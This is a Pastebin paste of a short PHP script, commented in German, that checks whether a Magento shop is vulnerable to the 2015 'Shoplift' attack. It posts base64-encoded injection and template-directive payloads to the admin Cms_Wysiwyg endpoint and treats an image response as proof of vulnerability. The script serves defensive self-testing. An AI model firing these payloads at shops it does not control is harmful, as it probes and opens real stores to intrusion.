Guest User

Untitled

a guest
Apr 27th, 2015
1,292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.82 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. Kurzes PHP-Skript was überprüft ob der Magento-Shop
  5. verwundbar ist durch die Shoplift-Attacke. #shoplift
  6.  
  7. Copyright (C) 2015 Fabian Bitter (fabian.bitter@me.com)
  8. */
  9.  
  10. function post($url, $post = false) {
  11. $ch = curl_init();
  12.  
  13. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  14. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  15. curl_setopt($ch, CURLOPT_URL, $url);
  16. curl_setopt($ch, CURLOPT_HEADER, 0);
  17. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  18.  
  19. if ($post !== false) {
  20. foreach ($post as $key => $value) {
  21. $fields_string .= $key . '=' . $value . '&';
  22. }
  23.  
  24. rtrim($fields_string, '&');
  25.  
  26. curl_setopt($ch, CURLOPT_URL, $url);
  27. curl_setopt($ch, CURLOPT_POST, count($fields));
  28. curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
  29. }
  30.  
  31. $data = curl_exec($ch);
  32.  
  33. curl_close($ch);
  34.  
  35. return $data;
  36. }
  37.  
  38. function check_if_magento_is_vulnerable($url) {
  39. $url_parts = parse_url($url);
  40.  
  41. $data = post(
  42. sprintf(
  43. "%s://%s/admin/Cms_Wysiwyg/directive/index/",
  44. $url_parts["scheme"],
  45. $url_parts["host"]
  46. ),
  47.  
  48. array(
  49. "filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);"),
  50. "___directive" => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  51. "forwarded" => "1"
  52. )
  53. );
  54.  
  55. /*
  56. Wenn der Shop verwundbar ist wird an der Stelle eine PNG-Datei wiedergegeben,
  57. statt der Login-Seite.
  58. */
  59.  
  60. return (@imagecreatefromstring($data) !== false);
  61. }
  62.  
  63.  
  64. $your_shop_url = "http://www.deine-shop-adresse.de";
  65.  
  66. if (check_if_magento_is_vulnerable($your_shop_url)) {
  67. print "Die Seite ist verwundbar.\n";
  68. } else {
  69. print "Die Seite ist nicht verwundbar.\n";
  70. }
Add Comment
Please, Sign In to add comment